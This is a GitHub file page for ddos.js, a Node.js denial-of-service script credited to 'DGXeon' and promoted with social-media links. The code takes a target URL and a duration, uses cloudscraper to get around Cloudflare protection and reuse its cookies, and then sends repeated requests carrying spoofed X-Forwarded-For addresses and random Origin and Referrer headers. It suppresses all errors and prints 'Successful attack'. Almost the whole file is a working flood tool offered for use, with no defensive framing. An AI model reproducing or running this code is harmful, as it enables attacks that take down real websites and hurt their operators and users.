-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathddos.js
More file actions
76 lines (66 loc) · 2.35 KB
/
ddos.js
File metadata and controls
76 lines (66 loc) · 2.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//base by DGXeon (Xeon Bot Inc.)
//re-upload? recode? copy code? give credit ya :)
//YouTube: @DGXeon
//Instagram: unicorn_xeon13
//Telegram: t.me/xeonbotinc
//GitHub: @DGXeon
//WhatsApp: +919366316018
//want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon
var cloudscraper = require('cloudscraper');
var request=require('request');
var randomstring = require("randomstring");
var args = process.argv.slice(2);
randomByte = function() {
return Math.round(Math.random()*256);
}
if (process.argv.length <= 2) {
console.log("Usage: node CFBypass.js <url> <time>");
console.log("Usage: node CFBypass.js <http://example.com> <60>");
process.exit(-1);
}
var url = process.argv[2];
var time = process.argv[3];
setInterval
var int = setInterval(() => {
var cookie = 'ASDFGHJKLZXCVBNMQWERTYUIOPasdfghjklzxcvbnmqwertyuiop1234567890';
var useragent = 'proxy.txt';
cloudscraper.get(url, function(error, response, body) {
if (error) {
console.log('Error occurred');
} else {
var parsed = JSON.parse(JSON.stringify(response));
cookie = (parsed["request"]["headers"]["cookie"]);
useragent = (parsed["request"]["headers"]["User-Agent"]);
}
// console.log(cookie + '/' + useragent)
var rand = randomstring.generate({
length: 10,
charset: 'abcdefghijklmnopqstuvwxyz0123456789'
});
var ip = randomByte() +'.' +
randomByte() +'.' +
randomByte() +'.' +
randomByte();
const options = {
url: url,
headers: {
'User-Agent': useragent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Upgrade-Insecure-Requests': '2000',
'cookie': cookie,
'Origin': 'http://' + rand + '.com',
'Referrer': 'http://google.com/' + rand,
'X-Forwarded-For': ip
}
};
function callback(error, response, body) {
}
request(options);
});
});
setTimeout(() => clearInterval(int), time * 100000);
process.on('uncaughtException', function(err) {
});
process.on('unhandledRejection', function(err) {
});
console.log('Successful attack')